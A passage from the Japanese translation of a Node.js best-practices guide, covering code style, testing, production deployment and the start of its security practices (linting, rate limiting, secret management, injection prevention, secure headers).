Code example\n\n```javascript\n\"\" == \"0\"; // false\n0 == \"\"; // true\n0 == \"0\"; // true\n\nfalse == \"false\"; // false\nfalse == \"0\"; // true\n\nfalse == undefined; // false\nfalse == null; // false\nnull == undefined; // true\n\n\" \\t\\r\\n \" == 0; // true\n```\n\n`===` を使用した場合、上のすべてのステートメントは false を返します。\n\n<br/><br/>\n\n## ![✔] 3.11 コールバックを避け、Async Await を使用する\n\n**TL;DR:** Node 8 LTS は Async-await を完全にサポートするようになりました。これは、コールバックやプロミスに取って代わる非同期コードの新しい扱い方です。Async-await はノンブロッキングであり、非同期コードを同期的に見せてくれます。コードに与えることができる最高の贈り物は、try-catch のようなよりコンパクトで親しみやすいコード構文を提供する async-await を使うことです。\n\n**Otherwise:** コールバックスタイルで非同期エラーを処理するのは、おそらく地獄への最速の方法です。- このスタイルでは、エラーのチェックをすべて強制し、厄介なコードの入れ子を処理し、コードの流れについての推論を困難にします。\n\n🔗[**さらに読む:** async await 1.0 のガイド](https://github.com/yortus/asyncawait)\n\n<br/><br/>\n\n## ![✔] 3.12 arrow 関数式 (=>) を使う\n\n**TL;DR:** プロミスやコールバックを受け入れる古い API を扱う場合は、async-await を使用して関数パラメータを避けることをお勧めしますが、arrow 関数はコード構造をよりコンパクトにし、ルート関数の語彙的なコンテキストを保持します。(すなわち `this` )\n\n**さもないと:** コードが長いと（ ES5 の関数では）バグが発生しやすく、読むのが面倒になります。\n\n🔗 [**さらに読む: arrow 関数を採用する時が来た**](https://medium.com/javascript-scene/familiarity-bias-is-holding-you-back-its-time-to-embrace-arrow-functions-3d37e1a9bb75)\n\n<br/><br/><br/>\n\n<p align=\"right\"><a href=\"#table-of-contents\">⬆ トップに戻る</a></p>\n\n# `4. テストと総合的な品質のプラクティス`\n\n## ![✔] 4.1 最低でも、API（コンポーネント）のテストを書く\n\n**TL;DR:** 多くのプロジェクトでは、短いタイムスケジュールが原因で自動化テストを行っていないか、または「テストプロジェクト」がコントロール不能となり廃れてしまうことがしばしばあります。そのため、優先度を決めて、書くのが最も容易であり、ユニットテストより多くのカバレッジを提供してくれる API テストから始めましょう（[Postman](https://www.getpostman.com/) のようなツールを利用して、コード無しで API テストを手作りすることもできます）。その後、リソースや時間に余裕が出てきたら、ユニットテストや DB テスト、パフォーマンステストといった発展的なタイプのテストを実施してください。\n\n**さもないと:** ユニットテストを書くことに長時間費やしても、システムカバレッジが 20％ しかないことに気づくかもしれません。\n\n<br/><br/>\n\n## ![✔] 4.2 各テスト名に 3 つの要素を含む\n\n**TL;DR:** テストを要件レベルを表現することで、コード内部をよく知らない QA エンジニアや開発者に対しても説明的であるようにしてください。テスト名には、何がテストされていて（テスト対象のユニット）、どのような状況で、どのような結果が期待されているのかを記述してください。\n\n**さもないと:** \"Add product\" という名付けられたテストが通らず、デプロイが失敗しました。これは、実際に何がうまく動作しなかったのかを示しているでしょうか？\n\n🔗 [**さらに読む: 各テスト名に 3 つの要素を含む**](./sections/testingandquality/3-parts-in-name.japanese.md)\n\n<br/><br/>\n\n## ![✔] 4.3 AAA パターンを用いてテストを構成する\n\n**TL;DR:** 上手に分けられた 3 つのセクションを利用してテストを構成してください: Arrange、Act、そして Assert (AAA) です。まず最初の部分でテストのセットアップを行い、次にテスト対象のユニットの実行、そして最後にアサーションフェーズに入ります。この構造に従うことで、コードを読む人がテストプランを理解するために頭脳の CPU を費やさないことが保証されます。\n\n**さもないと:** メインコードを理解するのに長時間費やすだけでなく、今までシンプルな部分であったはずのもの（テスト）が、脳のリソースを奪います。\n\n🔗 [**さらに読む: AAA パターンを用いてテストを構成する**](./sections/testingandquality/aaa.japanese.md)\n\n<br/><br/>\n\n## ![✔] 4.4 Linter を用いてコードの問題を検出する\n\n**TL;DR:** Linter を使用して、コードの基本的な質をチェックし、アンチパターンを早期に検出してください。テスト前に Linter を実行し、コミット前の Git-hook として追加しておけば、レビューや問題を修正するのに必要な時間を最小限に抑えることができます。[セクション 3](#3-コードスタイルのプラクティス) の「コードスタイルのプラクティス」も参考にしてください。\n\n**さもないと:** アンチパターンや脆弱性を含む可能性のあるコードを本番環境に渡してしまうかもしれません。\n\n<br/><br/>\n\n## ![✔] 4.5 グローバルなテストフィクスチャとシードを避け、テストごとにデータを追加する\n\n**TL;DR:** テスト同士が結合してしまうことを防ぎ、テストフローの理解を容易にするために、各テストは独自の DB データ行のセットを用意し、それらを利用して実行されるべきです。テストがいくつかの DB データをプルしたり、その存在を仮定する必要がある場合には、明示的にデータを追加し、他のレコードに変更を加えないようにしなければなりません。\n\n**さもないと:** テストが失敗したことによってデプロイが中止されるというシナリオを考えてみましょう。チームは貴重な時間を調査に費やし、結果として悲しい結論にたどり着きます: システムは機能していますが、テスト同士が干渉しあって、ビルドを壊しているのです。\n\n🔗 [**さらに読む: グローバルなテストフィクスチャとシードを避け、テストごとにデータを追加する**](./sections/testingandquality/avoid-global-test-fixture.japanese.md)\n\n<br/><br/>\n\n## ![✔] 4.6 脆弱性のある依存関係がないか常に検査する\n\n**TL;DR:** Express のような最も評判の良い依存関係にも、既知の脆弱性があります。これは、ビルド毎に CI において実行できる 🔗 [npm audit](https://docs.npmjs.com/cli/audit) や 🔗 [snyk.io](https://snyk.io) といったコミュニティや商用のツールを利用することで、簡単に検査することができます。\n\n**さもないと:** 専用のツールを使用せずに、コードを安全に保つには、新しい脅威についての情報を、常に追う必要があります。これは非常に面倒です。\n\n<br/><br/>\n\n## ![✔] 4.7 テストにタグをつける\n\n**TL;DR:** 異なるテストは、異なるシナリオ下において実行しなければなりません: I/O の無いクイックスモークテストは、開発者がファイルを保存したりコミットした際に実施し、完全なエンドツーエンドテストは新しいプルリクエストが出されたときに実施する、などです。これは、テストの手綱を掴んで望み通りのテストセットを実行できるように、 #cold #api #sanity といったようにキーワードでテストをタグ付けすることで実現できます。例えば、[Mocha](https://mochajs.org/) を利用して sanity テストグループを実施する方法は次の通りです: mocha --grep 'sanity'\n\n**さもないと:** 小さな変更をするたびに多くの DB クエリを実施するテストを含む全てのテストを実行することは、非常に遅く、そして開発者がテストを実行しなくなります。\n\n<br/><br/>\n\n## ![✔] 4.8 間違ったテストパターンを特定するためにテストカバレッジをチェックする\n\n**TL;DR:** [Istanbul](https://github.com/istanbuljs/istanbuljs)/[NYC](https://github.com/istanbuljs/nyc) のようなコードカバレッジツールは 3 つの理由から素晴らしいといえます: 無料で提供されている（このレポートの恩恵を受けるために努力は必要ありません）、テストカバレッジの低下を特定するのに役立つ、そして最後に、テストのミスマッチを強調してくれることです。色付けされたコードカバレッジレポートを見ることで、例えば、キャッチ句のようなテストが全く実施されていない領域（つまり、テストがハッピーパスのみテストしていて、エラー時にどのように振る舞うかをテストしていない、ということです）に気づくかもしれません。カバレッジが特定に閾値を下回ったらビルドが失敗するように設定しましょう。\n\n**さもないと:** コードの大部分がテストでカバーされていないことを教えてくれる、自動化されたメトリックが存在しないことになります。\n\n<br/><br/>\n\n## ![✔] 4.9 パッケージが古くなっていないか点検する\n\n**TL;DR:** お気に入りのツール（例えば、「npm outdated」や「[npm-check-updates](https://www.npmjs.com/package/npm-check-updates)」など）を使って、インストールされたパッケージが古くなっていることを検出し、このチェックを CI パイプラインの中に組み込み、深刻な場合にはビルドを失敗させてください。深刻な場合とは例えば、インストールされているパッケージが 5 回のパッチコミット分遅れている場合（例えば、ローカルバージョンが 1.3.1 でリポジトリバージョンが 1.3.8 である、など）や、作者によって非推奨とタグ付けされている場合などがあります。ビルドをキルして、このバージョンのデプロイを禁止してください。\n\n**さもないと:** 作者によって明示的に危険であるとタグ付けされたパッケージを、本番環境で実行することになります。\n\n<br/><br/>\n\n## ![✔] 4.10 エンドツーエンドテストのために本番に近い環境を使用する\n\n**TL;DR:** ライブデータを含むエンドツーエンド（e2e）テストは、DB のような複数の重たいサービスに依存するため、CI プロセスにおける最も弱い接続部となっていました。できる限り本番環境に近い環境を使用してください（注意: コンテンツが不足しています。「さもないと」から判断するに、docker-compose について言及されているはずです）\n\n**さもないと:** docker-compose を使用しない場合、チームは開発者のマシンを含む各テスト環境のためのテスト DB を管理し、環境によって結果に差異が出ないようにそれらすべての DB が同期された状態を保たなくてはなりません。\n\n<br/><br/>\n\n## ![✔] 4.11 静的解析ツールを使用して定期的にリファクタリングする\n\n**TL;DR:** 静的解析ツールを利用することは、客観的な視点をもたらし、コードの品質向上や保守性の維持に役立ちます。静的解析ツールを CI に追加することで、コードの臭いを発見した際にビルドを失敗させることができます。シンプルな linting に勝るポイントとしては、複数ファイルを含むコンテキストで品質を検査できること（例：重複の検出）、高度な分析を実施できること（例：コードの複雑さ）、そしてコードの問題の履歴や進行状況を追跡できることです。使用できるツールの例としては、[Sonarqube](https://www.sonarqube.org/) (2,600+ [stars](https://github.com/SonarSource/sonarqube)) と [Code Climate](https://codeclimate.com/) (1,500+ [stars](https://github.com/codeclimate/codeclimate)) の 2 つがあります。\n\n**さもないと:** コードの品質が低いと、ピカピカの新しいライブラリや最新の機能では修正できない類のバグやパフォーマンスが常に問題となります。\n\n🔗 [**さらに読む: リファクタリング！**](./sections/testingandquality/refactoring.japanese.md)\n\n<br/><br/>\n\n## ![✔] 4.12 CI プラットフォームを慎重に選択する（Jenkins vs CircleCI vs Travis vs その他すべて）\n\n**TL;DR:** 継続的インテグレーションプラットフォーム (CI/CD) は全ての品質に関わるツール（テストや lint など）をホストするので、プラグインのエコシステムが充実しているはずです。[Jenkins](https://jenkins.io/) は最大のコミュニティを持ち、非常に強力なプラットフォームであるため、多くのプロジェクトでデフォルトとして使われていましたが、複雑なセットアップと多大な学習コストが難点でした。最近では、[CircleCI](https://circleci.com) のような SaaS ツールを使用することで、CI ソリューションをセットアップすることが非常に簡単になってきました。こういったツールは、インフラ全体の管理にコストをかけることなく柔軟な CI パイプラインを構築することを可能にします。最終的には、堅牢性とスピードの間のトレードオフとなります ー 慎重にどちらを取るか選んでください。\n\n**さもないと:** ニッチなベンダーを選択すると、高度なカスタマイズが必要になった際に困るかもしれません。一方で、Jenkins を選択するとインフラのセットアップに貴重な時間を費やすことになる可能性があります。\n\n🔗 [**さらに読む: CI プラットフォームを選択する**](./sections/testingandquality/citools.japanese.md)\n\n## ![✔] 4.13 ミドルウェアを分離してテストする\n\n**TL;DR:** ミドルウェアが多くのリクエストにまたがる巨大なロジックを保持している場合は、ウェブフレームワーク全体を起動することなく、分離してテストする価値があります。これは、{req, res, next} オブジェクトをスタブ化してスパイすることで容易に達成することができます。\n\n**さもないと:** Express ミドルウェアにおけるバグ === ほぼ全てのリクエストにおけるバグ\n\n🔗 [**さらに読む: ミドルウェアを分離してテストする**](./sections/testingandquality/test-middlewares.japanese.md)\n\n<br/><br/><br/>\n\n<p align=\"right\"><a href=\"#table-of-contents\">⬆ トップに戻る</a></p>\n\n# `5. 本番環境移行のプラクティス`\n\n## ![✔] 5.1. モニタリング\n\n**TL;DR:** モニタリングとは、顧客よりも先に問題を発見するゲームです。– 明らかに、これは類を見ないほど重要なこととして割り当てられるべきです。市場には多くのオファーが溢れていますので、まずはあなたが守らなければならない基本的な指標を定義することから始めてみてください（私の提案はこの中にあります）。その後、追加の手の込んだ機能を確認し、すべてのボックスにチェックを入れるソリューションを選択します。ソリューションの概要については、以下の「要点」をクリックしてください。\n\n**さもないと:** 失敗 === 失望したお客さん。シンプルです。\n\n🔗 [**さらに読む: モニタリング!**](./sections/production/monitoring.japanese.md)\n\n<br/><br/>\n\n## ![✔] 5.2. スマートロギングで透明性を高める\n\n**TL;DR:** ログは、デバッグ ステートメント用のゴミ倉庫にも、アプリのストーリーを伝える美しいダッシュボードのイネーブラーにもなり得ます。1 日目からロギングプラットフォームを計画しましょう：ログをどのように収集、保存、分析するかで、必要な情報（エラー率、サービスやサーバーを介したトランザクション全体の追跡など）を実際に抽出できるようにします。\n\n**さもないと:** 推論するのが難しいブラックボックスになってしまい、追加情報を追加するためにすべてのロギングステートメントを書き直します。\n\n🔗 [**さらに読む: スマートロギングで透明性を高める**](./sections/production/smartlogging.japanese.md)\n\n<br/><br/>\n\n## ![✔] 5.3. 可能な限りのこと全て（ gzip、SSL など）をリバースプロキシに委譲する\n\n**TL;DR:** Node は gzip や SSL の終了などの CPU 負荷の高いタスクを行うのが非常に苦手です。代わりに nginx, HAproxy, クラウドベンダーのサービスのような「本物の」ミドルウェアサービスを使うべきです。\n\n**さもないと:** 貧弱なシングルスレッドは、アプリケーションコアを処理する代わりにインフラタスクを行うことに忙しくなり、パフォーマンスはそれに応じて低下します。\n\n🔗 [**さらに読む: 可能な限りのこと全て（ gzip、SSL など）をリバースプロキシに委譲する**](./sections/production/delegatetoproxy.japanese.md)\n\n<br/><br/>\n\n## ![✔] 5.4. 依存関係をロックする\n\n**TL;DR:** コードはすべての環境で同一でなければなりませんが、驚くべきことに npm はデフォルトで環境間で依存関係をドリフトさせることができます。– 様々な環境でパッケージをインストールすると、パッケージの最新のパッチバージョンを取得しようとします。これを克服するには、各パッケージの正確な (最新版ではない) バージョンを保存するように各環境に指示する npm 設定ファイル .npmrc を使用します。あるいは、より細かい制御を行うには `npm shrinkwrap` を使用してください。\\*更新: NPM5 では、依存関係はデフォルトでロックされています。新しいパッケージマネージャー、Yarn もデフォルトでカバーしてくれました。\n\n**さもないと:** QA はコードを徹底的にテストし、本番環境では異なる挙動をするバージョンを承認します。さらに悪いことに、同じクラスタ内の異なるサーバが異なるコードを実行する可能性があります。\n\n🔗 [**さらに読む: 依存関係をロックする**](./sections/production/lockdependencies.japanese.md)\n\n<br/><br/>\n\n## ![✔] 5.5. 適切なツールを使用してプロセスの稼働時間を守る\n\n**TL;DR:** プロセスが進み、失敗した時点で再起動しなければなりません。単純なシナリオでは、PM2 のようなプロセス管理ツールで十分かもしれませんが、今日の「 docker 化」された世界では、クラスタ管理ツールも考慮する必要があります。\n\n**さもないと:** 明確な戦略を持たずに何十ものインスタンスを実行し、あまりにも多くのツール（クラスタ管理、docker、PM2）を一緒に使いすぎると、DevOps のカオスにつながる可能性があります。\n\n🔗 [**さらに読む: 適切なツールを使用してプロセスの稼働時間を守る**](./sections/production/guardprocess.japanese.md)\n\n<br/><br/>\n\n## ![✔] 5.6. すべての CPU コアを利用する\n\n**TL;DR:** 基本的な形として、Node アプリは他のすべてがアイドル状態のままで、単一の CPU コア上で動作します。 Node プロセスを複製し、すべての CPU を利用するのはあなたの義務です。 – 中小規模のアプリでは、Node クラスタや PM2 を使用することができます。大規模なアプリケーションでは、Docker クラスタ( K8S や ECS など)や Linux の init システム( systemd など)をベースにしたデプロイスクリプトを使用してプロセスを複製することを検討してください。\n\n**さもないと:** あなたのアプリは、利用可能なリソースの 25％、もしくはそれ以下しか使用していない可能性が高いです(!)。一般的なサーバは 4 つ以上の CPU コアを持っていますが、 Node.js のナイーブなデプロイでは 1 つしか利用していないことに注意してください（ AWS beanstalk のような PaaS サービスを利用している場合でも!）。\n\n🔗 [**さらに読む: すべての CPU コアを利用する**](./sections/production/utilizecpu.japanese.md)\n\n<br/><br/>\n\n## ![✔] 5.7. 「メンテナンスエンドポイント」を作成する\n\n**TL;DR:** メモリ使用量や REPL などのシステム関連情報をセキュアな API で公開します。標準ツールや歴戦のツールに頼ることを強くお勧めしますが、貴重な情報や操作はコードを使った方が簡単にできるものもあります。\n\n**さもないと:** 多くの「診断デプロイ」を実行していることがわかります。– 診断目的のための情報を抽出するためだけにコードを本番環境に出荷するなど\n\n🔗 [**さらに読む: 「メンテナンスエンドポイント」を作成する**](./sections/production/createmaintenanceendpoint.japanese.md)\n\n<br/><br/>\n\n## ![✔] 5.8. APM 製品を使用してエラーやダウンタイムを発見する\n\n**TL;DR:** アプリケーションモニタリングおよびパフォーマンス製品（ APM）は、コードベースと API を積極的に測定することで、従来のモニタリングを超えて、サービスや階層間のユーザーエクスペリエンス全体を自動的に測定することができます。例えば、一部の APM 製品では、エンドユーザー側でロードが遅すぎるトランザクションを強調表示しながら、根本的な原因を示唆することができます。\n\n**さもないと:** API のパフォーマンスやダウンタイムの測定に多大な労力を費やすことになるかもしれません。実世界のシナリオで最も遅いコード部分はどれか、それが UX にどのように影響するのか、おそらくあなたは意識することはないでしょう。\n\n🔗 [**さらに読む: APM 製品を使用してエラーやダウンタイムを発見する**](./sections/production/apmproducts.japanese.md)\n\n<br/><br/>\n\n## ![✔] 5.9. コードを本番に即したものにする\n\n**TL;DR:** ゴールを意識してコードを作成し、1 日目から制作計画を立てます。ちょっと漠然としているように聞こえるので、生産保守と密接に関係する開発のヒントをいくつかまとめてみました(下の Gist をクリックしてください)。\n\n**さもないと:** 世界チャンピオンの IT/DevOps の男でも、下手に書かれたシステムを救うことはできません。\n\n🔗 [**さらに読む: コードを本番に即したものにする**](./sections/production/productioncode.japanese.md)\n\n<br/><br/>\n\n## ![✔] 5.10. メモリ使用量を測定してガードする\n\n**TL;DR:** Node.js はメモリとの関係で物議を醸しています: v8 エンジンはメモリ使用量にソフトな制限(1.4 GB )があり、Node のコードにはメモリリークの経路が知られています。– そのため、Node のプロセスメモリを監視することは必須です。小さなアプリでは、シェルコマンドを使って定期的にメモリを測定することができますが、中規模以上のアプリでは、メモリ監視を堅牢な監視システムに組み込むことを検討してください。\n\n**さもないと:** あなたのプロセスメモリは、[Walmart](https://www.joyent.com/blog/walmart-node-js-memory-leak) で起こったように、1 日に 10MB もリークするかもしれません。\n\n🔗 [**さらに読む: メモリ使用量を測定してガードする**](./sections/production/measurememory.japanese.md)\n\n<br/><br/>\n\n## ![✔] 5.11. フロントエンドの資産を Node から取り出す\n\n**TL;DR:** 専用のミドルウェア (nginx, S3, CDN) を使用してフロントエンドのコンテンツを提供します。なぜなら、シングルスレッドモデルのため、多くの静的ファイルを扱う場合、Node のパフォーマンスは非常に痛手を受けるからです。\n\n**さもないと:** あなたの Node のシングルスレッドは、何百もの html/images/angular/react ファイルのストリーミングに忙殺され、本来の目的のために生まれたタスクにすべてのリソースを確保することができません。– 動的コンテンツの提供\n\n🔗 [**さらに読む: フロントエンドの資産を Node から取り出す**](./sections/production/frontendout.japanese.md)\n\n<br/><br/>\n\n## ![✔] 5.12. ステートレスのままで、ほぼ毎日サーバーを停止させる\n\n**TL;DR:** 任意のタイプのデータ（ユーザーセッション、キャッシュ、アップロードされたファイルなど）を外部データストア内に保存します。定期的にサーバを「停止する」ことを検討するか、ステートレスな動作を明示的に行う「サーバレス」プラットフォーム（AWS Lambda など）を使用することを検討してください。\n\n**Otherwise:** 特定のサーバーで障害が発生すると、障害のあるマシンを停止する代わりに、アプリケーションのダウンタイムが発生します。さらに、特定のサーバーに依存しているため、スケーリングアウトの弾力性はより困難になります。\n\n🔗 [**さらに読む: ステートレスのままで、ほぼ毎日サーバーを停止させる**](./sections/production/bestateless.japanese.md)\n\n<br/><br/>\n\n## ![✔] 5.13. 脆弱性を自動的に検出するツールを使用する\n\n**TL;DR:** Express のような最も評判の良い依存関係にも、(時折)システムを危険にさらす既知の脆弱性があります。脆弱性を常にチェックして警告するコミュニティや商用ツール（ローカルまたは GitHub）を使えば簡単に手なずけることができ、いくつかはすぐにパッチを当てることもできます。\n\n**さもないと:** 専用のツールを使用せずに脆弱性からコードをクリーンに保つには、新しい脅威についてのオンライン出版物を常にフォローする必要があります。とても面倒です。\n\n🔗 [**さらに読む: 脆弱性を自動的に検出するツールを使用する**](./sections/production/detectvulnerabilities.japanese.md)\n\n<br/><br/>\n\n## ![✔] 5.14. 各ログステートメントにトランザクション ID を割り当てる\n\n**TL;DR:** transaction-id: {任意の値} で、単一のリクエスト内の各ログエントリに同じ識別子を割り当てます。そうすることで、ログのエラーを検査する際に、前後に何が起こったかを簡単に結論付けることができます。残念ながら、非同期の性質上、これを Node で実現するのは容易ではありません。内部のコード例を参照してください。\n\n**さもないと:** – 前に何が起こったのか – というコンテキストなしでプロダクションのエラーログを見ると、問題の原因を究明するのが非常に難しくなり、時間がかかります。\n\n🔗 [**さらに読む: 各ログ文に 'TransactionId' を割り当てる**](./sections/production/assigntransactionid.japanese.md)\n\n<br/><br/>\n\n## ![✔] 5.15. NODE_ENV=production を設定する\n\n**TL;DR:** 環境変数 NODE_ENV を「production」または「development」に設定して、本番環境での最適化を有効にするかどうかのフラグを立てます。– 多くの npm パッケージが現在の環境を判断し、本番用にコードを最適化します。\n\n**さもないと:** この単純なプロパティを省略すると、パフォーマンスが大きく低下する可能性があります。例えば、サーバサイドのレンダリングに Express を使用する場合、`NODE_ENV` を省略すると 3 倍も遅くなります。\n\n🔗 [**さらに読む: NODE_ENV=production を設定する**](./sections/production/setnodeenv.japanese.md)\n\n<br/><br/>\n\n## ![✔] 5.16. 自動化された、アトミックでゼロダウンタイムのデプロイを設計する\n\n**TL;DR:** 調査によると、多くのデプロイを行うチームほど、深刻なプロダクションの問題が発生する確率が低くなることがわかっています。リスクの高い手動ステップやサービスのダウンタイムを必要としない高速で自動化されたデプロイは、デプロイプロセスを大幅に改善します。Docker と CI ツールを組み合わせることが、合理化されたデプロイのための業界標準となったため、これを使って達成する必要があるでしょう。\n\n**さもないと:** 長時間のデプロイ -> プロダクションのダウンタイムと人為的なミス -> デプロイに自信のないチーム -> デプロイ数と機能の減少\n\n<br/><br/>\n\n## ![✔] 5.17. Node.js の LTS リリースを使用する\n\n**TL;DR:** 重要なバグフィックス、セキュリティアップデート、パフォーマンスの改善を受けるために、Node.js の LTS バージョンを使用していることを確認してください。\n\n**さもないと:** 新たに発見されたバグや脆弱性は、本番環境で運用中のアプリケーションを悪用するために使用される可能性があり、アプリケーションは様々なモジュールでサポートされておらず、保守が困難になる可能性があります。\n\n🔗 [**さらに読む: Node.js の LTS リリースを使用する**](./sections/production/LTSrelease.japanese.md)\n\n<br/><br/>\n\n## ![✔] 5.18. アプリ内でログをルーティングしない\n\n**TL;DR:** ログの送信先は、アプリケーションコード内で開発者によってハードコーディングされるべきではなく、代わりに、アプリケーションが実行される実行環境によって定義されるべきです。開発者はロガーユーティリティを使って `stdout` にログを書き、実行環境 (コンテナやサーバなど) に `stdout` のストリームを適切な宛先 (Splunk, Graylog, ElasticSearch など) にパイプさせるべきです。\n\n**さもないと:** アプリケーションがログのルーティングをハンドリングする === スケールアップが難しい、ログの損失、懸念事項の分離が悪い\n\n🔗 [**さらに読む: ログルーティング**](./sections/production/logrouting.japanese.md)\n\n<br/><br/>\n\n## ![✔] 5.19. パッケージを `npm ci` でインストールする\n\n**TL;DR:** 本番環境のコードが、テストしたパッケージの正確なバージョンを使用していることを確認する必要があります。 `npm ci` を実行して、package.json と package-lock.json に一致する依存関係のクリーンインストールを厳密に行います。このコマンドは、継続的インテグレーションパイプラインのような自動化された環境で使用することをお勧めします。\n\n**さもないと:** QA はコードを徹底的にテストし、本番環境では異なる動作をするバージョンを承認します。さらに悪いことに、同じプロダクションクラスタ内の異なるサーバが異なるコードを実行する可能性があります。\n\n🔗 [**さらに読む: npm ci を使う**](./sections/production/installpackageswithnpmci.japanese.md)\n\n<br/><br/><br/>\n\n<p align=\"right\"><a href=\"#table-of-contents\">⬆ トップに戻る</a></p>\n\n# `6. セキュリティのプラクティス`\n\n<div align=\"center\">\n<img src=\"https://img.shields.io/badge/OWASP%20Threats-Top%2010-green.svg\" alt=\"54 items\"/>\n</div>\n\n## ![✔] 6.1. linter のセキュリティルールを受け入れる\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20XSS%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** [eslint-plugin-security](https://github.com/nodesecurity/eslint-plugin-security) のようなセキュリティ関連の linter プラグインを利用して、セキュリティの脆弱性や問題をできる限り早く、できればコーディング段階で捕まえてください。これにより、eval の使用や子プロセスの呼び出し、（ユーザー入力などの）文字列リテラルを持つモジュールのインポートなど、セキュリティ上の弱点をキャッチするのに役立ちます。下記の「さらに読む」をクリックして、セキュリティ linter によって捕捉されるコード例を参照してください。\n\n**さもなければ:** 開発時には単純なセキュリティ上の弱点だったかもしれないものが、本番環境では大きな問題となります。同様に、プロジェクトが一貫したコードセキュリティプラクティスに従わない場合もあり、脆弱性が入り込んだり、リモートリポジトリに機密情報がコミットされたりする可能性があります。\n\n🔗 [**さらに読む: Lint ルール**](./sections/security/lintrules.japanese.md)\n\n<br/><br/>\n\n## ![✔] 6.2. ミドルウェアを使用して同時リクエストを制限する\n\n<a href=\"https://www.owasp.org/index.php/Denial_of_Service\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20DDOS%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** DOS 攻撃はとても非常に有名で、比較的簡単に実行することができます。クラウドのロードバランサーやファイアウォール、nginx、[rate-limiter-flexible](https://www.npmjs.com/package/rate-limiter-flexible) パッケージなどの外部サービス、または（小規模で重要度の低いアプリケーションの場合は）レートリミットミドルウェア（[express-rate-limit](https://www.npmjs.com/package/express-rate-limit) など）などを使用して、レートリミットを実装してください。\n\n**さもないと:** アプリケーションは攻撃を受ける可能性があり、結果としてユーザーに不十分なサービスを提供したり、サービス停止をしなければならない状況に陥ります。\n\n🔗 [**さらに読む: レートリミットの実装**](./sections/security/limitrequests.japanese.md)\n\n<br/><br/>\n\n## ![✔] 6.3 設定ファイルからシークレットを抽出する、もしくはパッケージを利用して暗号化する\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A6:Security%20Misconfiguration%20-green.svg\" alt=\"\"/></a> <a href=\"https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A3:Sensitive%20Data%20Exposure%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** 設定ファイルやソースコードに平文でシークレットを格納してはいけません。代わりに、Vault 製品や Kubernetes/Docker シークレット、環境変数のようなシークレット管理システムを利用してください。仕方なく、ソースコントロールにシークレットを格納する場合は、暗号化して管理（キーのローリング、有効期限の設定、監査など）をする必要があります。誤ってシークレットをコミットしないように、pre-commit/push hooks を利用してください。\n\n**さもないと:** ソースコントロールは、たとえプライベートリポジトリであっても誤ってパブリックになる可能性があり、その時点で全てのシークレットが公開されてしまいます。外部サービスに与えられたソースコントロールへのアクセス権限は、関連するシステム（データベース、API、その他サービスなど）へのアクセス権限をうっかり与えてしまうことがあります。\n\n🔗 [**さらに読む: シークレット管理**](./sections/security/secretmanagement.japanese.md)\n\n<br/><br/>\n\n## ![✔] 6.4. O/R マッパ/ODM ライブラリを使用してクエリインジェクション脆弱性を防ぐ\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A1-Injection\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A1:Injection%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** SQL/NoSQL インジェクションやその他の悪意ある攻撃を防ぐために、データをエスケープしたり、名前付きやインデックス付きのパラメータ化されたクエリをサポートしていたり、ユーザー入力が期待する型となっているか検証してくれる O/R マッパ/ODM やデータベースライブラリを活用してください。JavaScript のテンプレート文字列や文字列の結合を使用して値をクエリに挿入してはいけません。これはアプリケーションに広範囲の脆弱性を与えます。全ての評判の良い Node.js データアクセスライブラリ（[Sequelize](https://github.com/sequelize/sequelize), [Knex](https://github.com/tgriesser/knex), [mongoose](https://github.com/Automattic/mongoose) など）はインジェクション攻撃に対してあらかじめ対策されています。\n\n**さもないと:** 未検証またはサニタイズされていないユーザー入力は、MongoDB のような NoSQL データベースで作業している際にオペレーターインジェクションを招きますし、適切なサニタイズシステムまたは O/R マッパ を利用しないことは容易に SQL インジェクション攻撃を招き、多大な脆弱性を生みます。\n\n🔗 [**さらに読む: ORM/ODM ライブラリを使用してクエリインジェクション脆弱性を防ぐ**](./sections/security/ormodmusage.japanese.md)\n\n<br/><br/>\n\n## ![✔] 6.5. 一般的なセキュリティベストプラクティス集\n\n**TL;DR:** Node.js とは直接関係のないセキュリティに関するアドバイス集です ー Node における実装は他の言語とあまり違いはありません。さらに読むをクリックして、読み進めてください。\n\n🔗 [**さらに読む: 一般的なセキュリティベストプラクティス**](./sections/security/commonsecuritybestpractices.japanese.md)\n\n<br/><br/>\n\n## ![✔] 6.6. セキュリティ強化するために HTTP レスポンスヘッダを調整する\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A6-Security_Misconfiguration\" target=\"_blank\"><img src=\"https://img.shields.io/badge/%E2%9C%94%20OWASP%20Threats%20-%20A6:Security%20Misconfiguration%20-green.svg\" alt=\"\"/></a>\n\n**TL;DR:** クロスサイトスクリプティング（XSS）やクリックジャッキング、その他の悪意のある攻撃などの一般的な攻撃を攻撃者が行うことを防ぐために、アプリケーションは安全なヘッダを使用するべきです。これらは [helmet](https://www.npmjs.com/package/helmet) のようなモジュールを使って簡単に設定することができます。\n\n**さもないと:** 攻撃者がアプリケーションユーザーに対して直接攻撃を行い、甚大なセキュリティ脆弱性につながる可能性があります。\n\n🔗 [**さらに読む: アプリケーションでセキュアなヘッダーを利用する**](./sections/security/secureheaders.japanese.md)\n\n<br/><br/>\n\n## ![✔] 6.7. 定期的に、そして自動的に脆弱性のある依存関係を検査する\n\n<a href=\"https://www.owasp.org/index.php/Top_10-2017_A9-Using_Components_with_Known_Vulnerabilities\" target=\"_blank\"><img 